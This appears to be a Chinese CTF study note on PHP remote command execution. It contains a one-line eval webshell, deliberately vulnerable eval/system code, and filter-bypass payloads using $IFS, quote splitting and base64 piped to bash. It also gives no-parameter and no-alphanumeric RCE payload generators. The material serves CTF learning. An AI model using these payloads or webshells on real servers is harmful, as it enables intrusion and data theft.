命令执行漏洞
系统未对用户输入的内容未做严格的转义或过滤,导致任意命令执行
1、PHP代码执行函数
- (1)eval函数
eval ( string $code )
典型的一句话木马:<?php @eval($_POST['cmd']);?> - (2)assert函数
assert ( mixed $assertion [, string $description ] )
如果assertion是字符串,那么assert函数将会把它作为PHP代码执行,不需要以分号结尾,断言检查 - (3)call_user_function函数
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
<?php
header('Content-Type:text/html;charset=utf-8');
highlight_file(__FILE__);
echo "<pre>";
// 使用 call_user_func 执行命令
// 传入的参数作为 assert 函数的参数
$method = $_POST['method'];
call_user_func($method, $_POST['cmd']);
// method=system&cmd=whoami
// method=assert&cmd=phpinfo()
?>
简单来说就是调用其他函数实现功能
- (4)call_user_func_array 函数
call_user_func_array ( callable $callback , array $param_arr )
<?php
header('Content-Type:text/html;charset=utf-8');
highlight_file(__FILE__);
echo "<pre>";
$method = $_POST['method'];
$cmd = $_POST['cmd'];
$array[0] = $cmd;
call_user_func_array($method, $array);
//将传入的参数作为数组的第一个值传递给assert函数
// method=system&cmd=whoami
// method=assert&cmd=phpinfo()
?>
感觉差不多
- (5)create_function函数
<?php
highlight_file(__FILE__);
echo "<pre>";
$func = create_function('', $_POST['cmd']);
$func();
// cmd=system('whoami');
// cmd=show_source('flag.php');
// cmd=print(file_get_contents('flag.php'));
// cmd=}include('flag.php');echo $flag;//
// cmd=}system('cat flag.php');//
?>
攻击原理:
create_function('', '}include("flag.php");echo $flag;//')
// 等价于
function lambda_1() { }include("flag.php");echo $flag;// }
会发现如果未过滤特殊字符,那么可以使用}来提前结束构造的一个假函数并利用后续权限执行任意命令
2、系统命令执行
- exex()函数
exec ( string $command [, array &$output [, int &$return_var ]] )
执行参数中的命令
<?php
highlight_file(__FILE__);
echo "<pre>";
$cmd=$_POST['cmd'];
@exec($cmd, $return);
var_dump($return);
// cmd=whoami
- system()函数
system ( string $command [, int &$return_var ] )
攻击
<?php
header('Content-Type:text/html;charset=utf-8');
highlight_file(__FILE__);
echo '<pre>';
$cmd = $_GET['cmd'];
// 输出 shell 命令执行结果
$last_line = system($cmd, $retval);
echo "返回值: $retval";
echo "<br>";
echo "最后一行: $last_line";
?>
- shell_exec()函数
一般在shell环境中执行,返回完整字符串结果
shell_exec ( string $cmd ) : string
<?php
header('Content-Type:text/html;charset=utf-8');
highlight_file(__FILE__);
echo "<pre>";
// 使用 shell_exec 执行命令
$cmd = $_POST['cmd'];
echo shell_exec($cmd);
?>
但默认不会输出
3、命令连接符
Windows和Linux
command1 | command2 # 管道符前面和后面的命令都会执行,只不过只会返回后者的命令执行结果。如果1执行错误,则2不再执行
command1 || command2 # 如果1执行出错,则会执行2
command1 & command2 # 先执行1,不管成功与否都会执行2
command1 && command2 # 先执行1,如果执行出错则不再执行2,如果1执行成功则会执行2
Linux特有
command1;command2 # 先执行1再执行2,不管1成功与否都会执行2
4、绕过过滤技巧
- 绕过空格过滤
$IFS
${IFS}
$IFS$9
<
<>
{cat,flag.php}
%09 # 制表符Tab键
- 关键字过滤(以过滤flag.php为例)
cat fl\ag.php # 反斜线转义
cat fl''ag.php # 单引号分割
cat fl""ag.php # 双引号分割
echo Y2F0IGZsYWcucGhw |base64 -d |bash # base64编码
echo 63617420666c61672e706870 | xxd -r -p | bash # hex 编码
cat f[l]ag.php # 通配符
cat f[k-m]ag.php # 通配符
cat f?ag.php # 通配符
cat fla*.php # 通配符
cat f{k..m}ag.php # 通配符
a=fl;cat ${a}ag.php # 变量做拼接
a=fl;b=ag;cat $a$b.php # 变量做拼接
cat `echo -n 666c61672e706870|xxd -r -p` # 内敛执行
echo -n 666c61672e706870|xxd -r -p | xargs cat # 内敛执行
- cat命令过滤
cat # 从第一行开始显示全部的文本内容
tac # 从最后一行开始,显示全部分文本内容,与 cat 相反
nl # 显示文本时,输出行号
more # 按页显示文件内容
less # 如 more 命令差不多,也是按页显示内容
head # 从头开始显示文件指定的行数,默认只显示前 10 行
tail # 显示文件指定的结尾行数
sort # 对文件内容进行排序
RCE实战
(1)rce-no-param
通常RCE都会加一些过滤机制,这一题也有几个过滤机制,但是好在直接把源码给出来了不需要自己试,先看源码
<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
{
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
{
if (!preg_match('/na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))
{
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else
{
die("还差一点哦! ");
}
}
else
{
die("再好好想想! ");
}
}
else
{
die("还想读flag, 臭弟弟! ");
}
}
?>
这里有三层过滤
- 第一层过滤就是过滤协议名,防止伪协议攻击
- 第二层是通过正则过滤之后检查出去函数之后是否匹配“;”,说明白一点就是只允许函数调用而且不允许出现别的参数,这样就是题目所说的无参数RCE,本题考察的核心
- 第三层是关键词过滤,不能出现包含像info、bin之类的函数出现,避免直接调用系统函数提权
第一种思路,我们想要读取该目录下的文件,也就是scandir('.')来读取,但是很明显我们不能传入参数'.',但是函数chr(46)允许我们得出'.'那么我们如何传入46呢?答案就是利用可以利用的函数传入数字,在有数字之后利用内置的函数来进行对数字进行计算从而得出46
payload:
?exp=print_r(scandir(current(localeconv()))); //current函数提取第一个数组元素的值,而localeconv函数是返回本地数字和货币信息格式的数组,也是最稳定获得'.'的方法
?exp=print_r(scandir(pos(localeconv()))); //pos和current一样
?exp=print_r(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));
//floor向下取整,phpversion顾名思义,就是版本,如7.2.1之类的,会返回7或者5,后面就是数学运算得到46了,不赘叙
?exp=print_r(scandir(chr(ord(hebrevc(crypt(time())))))); //返回某时间哈希值的,然后进行数学运算,也是差不多了
总之思路就是这样,用什么函数或者数学运算自己决定
最后得到数组第三位或者倒数第二位就是flag.php,获得它值的payload:
?exp=print_r(end(scandir(current(localeconv())))); //如果在最后一位
?exp=print_r(next(array_reverse(scandir(pos(localeconv()))))); //倒数第二位
?exp=print_r(array_rand(array_flip(scandir(pos(localeconv()))))); //随机抽一个直到出来为止
最后会发现我们成功搞到了flag.php,虽然不知道为什么用file_get_contents()读取出问题了
第二种思路,这个是一个知识储备的问题了
利用session_id,不需要进行数学运算一大堆来得到参数了,我们直接利用session_start()告诉PHP启用session
(3)RCE绕过
一般来讲就是看黑名单里放了什么,然后利用Linux特性或者PHP执行的一些替代方法来绕过
<?php
ini_set("display_errors", 0);
highlight_file(__FILE__);
if(isset($_POST['c']) && $_POST['c'] != null){
if(!preg_match("/flag/i", $_POST['c'])){
eval($_POST['c']);
}else{
echo "you are hacker";
}
}else{
echo "please input a parameter";
}
过滤flag,我们空格,通配符,编码均可绕过
# ''
c=system("cat /fl''ag");
# 通配符
c=system("cat /fl*");
# base64
c=system("echo Y2F0IC9mbGFn|base64 -d | bash");
<?php
ini_set("display_errors", 0);
highlight_file(__FILE__);
if(isset($_POST['c']) && $_POST['c'] != null){
if(!preg_match("/flag|system|php/i", $_POST['c'])){
eval($_POST['c']);
}else{
echo "you are hacker";
}
}else{
echo "please input a parameter";
}
又过滤了system、php之类的
c=echo exec("id"); // 执行命令并返回最后一行
c=echo passthru("ls /"); // 直接输出命令结果
c=echo shell_exec("whoami"); // 返回命令输出(无回显时可搭配 `echo`)
c=echo `ls /`; // 反引号执行命令(等同于 shell_exec)
//替代函数
c=eval(base64_decode("ZWNobyBmaWxlX2dldF9jb250ZW50cygnL2ZsYWcnKTs="));
c=echo file_get_contents("/fl\x61g");
//编码绕过
c=$f="/fl"."ag"; echo file_get_contents($f); // 拼接字符串绕过
//字符串拼接
c=echo `cat /fl*`; // 通配符匹配 flag 文件
c=echo `cat /f???`; // 匹配类似 flag 的文件
//通配符绕过
c=print_r(scandir("/")); // 查看根目录文件
c=echo file_get_contents("/fl" . "ag"); // 拼接路径
//scandir查找文件
以上
<?php
ini_set("display_errors", 0);
highlight_file(__FILE__);
if(isset($_POST['c']) && $_POST['c'] != null){
if(!preg_match("/more|less|head|tac|tail|nl|od|vi|vim|sort| |;|[0-9]|`|%|>|<|'|\"/i", $_POST['c'])){
system($_POST['c']);
}else{
echo "you are hacker";
}
}else{
echo "please input a parameter";
}
- 黑名单过滤的字符和命令:
- 文件查看命令:
more、less、head、tac、tail、nl、od、vi、vim、sort
(这些命令通常用于读取文件内容) - 特殊字符:
- 空格 :防止
cat /etc/passwd这样的命令 - 分号
;:防止命令拼接(如id;ls) - 数字
[0-9]:防止使用cat file123.txt - 反引号
`:防止`command`执行 - 百分号
%:防止printf格式化字符串攻击 - 重定向
><:防止文件写入/读取 - 引号
'":防止参数注入(如'闭合字符串)
绕过:
- 空格 :防止
c=cat$IFS/flag
c=echo$IFS$(whoami)
(4)无字母数字RCE
关键点是没有数字字母可以写入,这时候我们就利用编码的值进行异或运算来获得对应数字字母的编码从而执行
关键就是异或或者取反
脚本:
<?php
$a = "phpinfo";//想要异或得到的字符串
for ($i = 0; $i < strlen($a); $i++) {
echo "%".dechex(ord($a[$i])^0xff);
}
echo "^";
for ($i = 0; $i < strlen($a); $i++) {
echo "%ff";
}
?>
//异或
<?php
$a = "system";//想要取反的字符串
echo "~";
for ($i = 0; $i < strlen($a); $i++) {
echo "%".bin2hex(~$a[$i]);
}
//echo "";
?>

浙公网安备 33010602011771号